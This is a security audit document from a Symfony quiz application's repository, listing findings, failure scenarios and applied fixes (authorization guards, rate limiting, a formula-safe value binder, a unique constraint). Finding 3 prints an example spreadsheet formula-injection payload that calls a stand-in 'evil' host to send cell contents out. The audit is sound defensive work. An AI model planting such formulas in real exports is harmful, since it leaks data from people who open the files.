Files
TijdVoorDeTest/SECURITY_AUDIT.md
T
Marijn b290620cf9 Declare ext-intl/ext-zip requirements and fix security audit findings (#213)
* Declare ext-intl and ext-zip as explicit composer requirements

DataExportService uses ZipArchive directly and the Dutch-locale
format_datetime Twig filter needs real ext-intl (the polyfill only
supports en), but composer.json only declared ext-ctype/ext-iconv.
Adding them lets `composer check-platform-reqs` catch a missing
extension before a runtime crash.

* Add authorization checks to PrepareEliminationController

index and viewElimination had no IsGranted guard, unlike every other
backoffice/elimination controller, so any authenticated user could
prepare or overwrite another season's elimination screens.

* Prevent formula injection in spreadsheet exports

Answer/candidate text starting with =, +, -, or @ was written to XLSX
exports as a live formula rather than plain text. Since seasons can
have multiple owners, a co-owner could plant a formula that runs (and
can exfiltrate data) when another owner opens the export in Excel.

* Add rate limiting to login and season-code entry points

Neither /login nor the public season-code guess form (POST /) had
any throttling, making both an unlimited brute-force/enumeration
oracle. Adds symfony/rate-limiter and enables login_throttling on
the main firewall, plus a dedicated per-IP rate limiter on the
season-code form.

* Add unique constraint to prevent double-submit score inflation

A candidate could submit two concurrent POSTs for the same question
before either committed, since GivenAnswer had no unique constraint
and the "next question" check was subject to a TOCTOU race — each
insert was then counted as a correct answer.

* Address CodeRabbit review findings

Include a Retry-After header on the season-code rate limit, correct
stale line references in the security audit doc, and fix a stray
comma in the reset-password email.
2026-07-13 22:58:29 +02:00

11 KiB

Security Audit — Tijd voor de test

Date: 2026-07-12 Branch: declare-ext-intl-ext-zip Scope: Full codebase — authentication/authorization, injection & output encoding, config/secrets/infrastructure, quiz business-logic abuse, and dependency audits. Read-only scan; no files were modified.

Summary

# Severity Finding Location
1 High PrepareEliminationController has no authorization guard Fixed 2026-07-13 src/Controller/Backoffice/PrepareEliminationController.php:21-65
2 High Production PostgreSQL published to host + default-password fallback compose.prod.yaml:27-28, compose.yaml:11,30
3 Medium Spreadsheet formula injection in exports Fixed 2026-07-13 src/Service/QuizSpreadsheetService.php, src/Service/DataExportService.php
4 Medium No login throttling / brute-force protection Fixed 2026-07-13 config/packages/security.yaml:30-31
5 Medium Open self-registration grants immediate backoffice access src/Controller/RegistrationController.php:40-56
6 Low Double-submit race can inflate score Fixed 2026-07-13 src/Controller/QuizController.php:135-142
7 Low Answer-POST path never checks isFinalized/isLocked src/Controller/QuizController.php:102-131
8 Low Server-side formula evaluation of uploaded XLSX src/Service/QuizSpreadsheetService.php:68
9 Low Containers run as root Dockerfile
10 Low No security response headers in prod frankenphp/Caddyfile:45
11 Low Committed APP_SECRET (dev-only) .env.dev:3
12 Low zend.exception_ignore_args = Off in prod frankenphp/conf.d/10-app.ini:15

Dependencies are clean: composer audit and bin/console importmap:audit both report zero known-CVE advisories.


High

1. PrepareEliminationController has no authorization guard — FIXED

File: src/Controller/Backoffice/PrepareEliminationController.php:21-65

The class carried no #[IsGranted] at class or method level — unlike every sibling controller, and unlike EliminationController which guards with SeasonVoter::ELIMINATION. Both routes were gated only by the blanket ^/backoffice → IS_AUTHENTICATED rule.

  • viewElimination (line 46) both reads and, on POST, rewrites any elimination via updateFromInputBag() + flush().
  • index (line 32) never checked that $quiz belonged to $season.

Failure scenario: Any authenticated user who obtained or guessed another season's quiz/elimination UUID could rewrite that season's red/green elimination screens.

Fix applied: Added #[IsGranted(SeasonVoter::ELIMINATION, 'quiz')] to index and #[IsGranted(SeasonVoter::ELIMINATION, 'elimination')] to viewElimination, matching the pattern used everywhere else. Regression tests testIndexIsDeniedForNonOwner and testViewEliminationIsDeniedForNonOwner were added to tests/Controller/Backoffice/PrepareEliminationControllerTest.php (written first, confirmed failing against the old code, now passing). Full suite (290 tests), PHPStan, Rector, and CS-Fixer all pass.

2. Production PostgreSQL published to host with default-password fallback

Files: compose.prod.yaml:27-28, compose.yaml:11,30

  • compose.prod.yaml:27-28 publishes 5430:5432 in the production override; the DB should stay on the internal network only.
  • compose.yaml:11,30 default POSTGRES_PASSWORD to !ChangeMe!, and compose.prod.yaml never sets it — so if the Portainer stack env omits it, prod silently runs with a publicly-known password.

Failure scenario: Internet-reachable database with a known default credential → full read/write of user hashes, quiz data, reset-password tokens.

Fix: Drop the port publish from the prod override; make POSTGRES_PASSWORD mandatory with no fallback in prod.


Medium

3. Spreadsheet formula injection in exports — FIXED

Files: src/Service/QuizSpreadsheetService.php:132,136; src/Service/DataExportService.php:208,237,249-265,328,393-403

All user-controlled strings were written to XLSX via setCellValue()/fromArray() with no quote-prefixing or value-binder override. PhpSpreadsheet stores any string starting with = as a live formula.

Failure scenario: Seasons support multiple owners, so a co-owner could name an answer/candidate =WEBSERVICE("http://evil/?"&A1); when another owner opened the quiz export or GDPR zip in Excel, the formula would execute/exfiltrate.

Fix applied: Added src/Helpers/FormulaInjectionSafeValueBinder.php, a DefaultValueBinder override that forces any string starting with = + - @ (or a leading tab/CR) to be stored as a plain string data type instead of being auto-detected as a formula. Wired it in via Cell::setValueBinder() in the constructors of QuizSpreadsheetService and DataExportService, so it's active before any cell is written. Regression tests added: tests/Helpers/FormulaInjectionSafeValueBinderTest.php (unit-level), plus testQuizToXlsxStoresFormulaLikeAnswerTextAsPlainString and testRawAnswersSheetStoresFormulaLikeAnswerTextAsPlainString (written first, confirmed failing against the old code, now passing).

4. No login throttling / brute-force protection — FIXED

File: config/packages/security.yaml:30-31

form_login had no login_throttling and no rate limiter was configured anywhere. /login allowed unlimited password guessing; the public POST / season-code entry (QuizController.php:35) was likewise an unthrottled oracle for enumerating the ~3.2M-space season codes (5 chars, 20-consonant alphabet).

Fix applied:

  • Added symfony/rate-limiter as a composer dependency and enabled login_throttling (max_attempts: 5) on the main firewall in config/packages/security.yaml, using Symfony's built-in per-user/global rate limiter.
  • Added a dedicated season_code rate limiter (framework.rate_limiter, sliding window, 20 attempts/minute per IP) in config/packages/framework.yaml, enforced in QuizController::selectSeason — a TooManyRequestsHttpException (429) is thrown once the client IP exceeds the limit, before the season-code form is even validated.
  • Both limiters have lower when@test overrides so tests run fast and deterministically.
  • Regression tests added: testLoginIsThrottledAfterTooManyFailedAttempts (tests/Controller/LoginControllerTest.php) and testSelectSeasonIsThrottledAfterTooManyAttempts (tests/Controller/QuizControllerTest.php), both written first, confirmed failing against the old config, now passing.

5. Open self-registration grants immediate backoffice access

Files: src/Controller/RegistrationController.php:40-56, config/packages/security.yaml:31

Registration auto-logs-in a new user before email verification, and ^/backoffice requires only IS_AUTHENTICATED. Any anonymous visitor gets an authenticated foothold to probe every backoffice route — the precondition that makes finding 1 practically exploitable.

Fix / decision needed: Confirm whether open registration into the backoffice is intended. If so, gate sensitive areas behind verified email and add a CAPTCHA/rate limit to registration.


Low

6. Double-submit race can inflate score — FIXED

Files: src/Controller/QuizController.php:137-146, src/Entity/GivenAnswer.php, migrations/Version20260713194340.php

No unique constraint on GivenAnswer and a TOCTOU between the "is this the next question" check and the insert. Concurrent POSTs of the known-correct answer could each pass the check before either committed, each inserting a GivenAnswer row — QuizRepository::getScores() counts every row where the answer is correct, so duplicates inflated the score.

Fix applied: Added a denormalized GivenAnswer::$question (derived from $answer->question in the constructor, no call-site changes needed) plus a Postgres partial unique index on (candidate_id, question_id) WHERE deleted_at IS NULL, matching the pattern already used on QuizCandidate. The partial predicate keeps re-answering possible after GivenAnswerRepository::deleteAllForCandidateInQuiz() soft-deletes a candidate's answers (backoffice "reset candidate progress"). QuizController::quizPage now catches UniqueConstraintViolationException on flush and redirects with a flash instead of a 500. Regression test testDuplicateGivenAnswerForSameQuestionIsRejected added to tests/Repository/GivenAnswerRepositoryTest.php (written first, confirmed failing against the old schema, now passing). Full suite (300 tests), PHPStan, Rector, and CS-Fixer all pass.


Remaining Low findings

  • 7. Answer-POST path never checks isFinalized/isLocked (src/Controller/QuizController.php:102-131): a finalized quiz still set as activeQuiz stays answerable. The POST path also doesn't assert a QuizCandidate exists (only GET does) — currently not exploitable but worth hardening.
  • 8. Server-side formula evaluation of uploaded XLSX (src/Service/QuizSpreadsheetService.php:68): toArray() leaves calculateFormulas at default true, allowing CPU-burn via nested formulas on import. Pass calculateFormulas: false.
  • 9. Containers run as root (Dockerfile, no USER directive): any PHP RCE is immediately root in-container.
  • 10. No security response headers in prod (frankenphp/Caddyfile:45): no CSP/frame-ancestors, X-Content-Type-Options, or HSTS — backoffice is clickjackable.
  • 11. Committed APP_SECRET (.env.dev:3, dev-only): prod uses composer dump-env prod with an env-provided secret, so scope is limited to any environment misconfigured to APP_ENV=dev. Consider rotating regardless since the value is now public.
  • 12. zend.exception_ignore_args = Off (frankenphp/conf.d/10-app.ini:15, prod): a stack trace in a password-handling path could ship plaintext to Sentry.

Confirmed clean

No SQL/DQL injection (all queries parameterized), essentially no XSS surface (one |raw on an app-generated signed URL; GitHub release markdown is escaped), no unserialize/eval/shell-exec anywhere, safe redirects (open-redirect listener validates the logout target), no correct-answer or score leakage to candidates, server-set timing (no client-forgeable timestamps), zip creation with sanitized filenames (no zip-slip/path traversal), and a clean CI workflow (least-privilege permissions, SHA-pinned actions, no pull_request_target).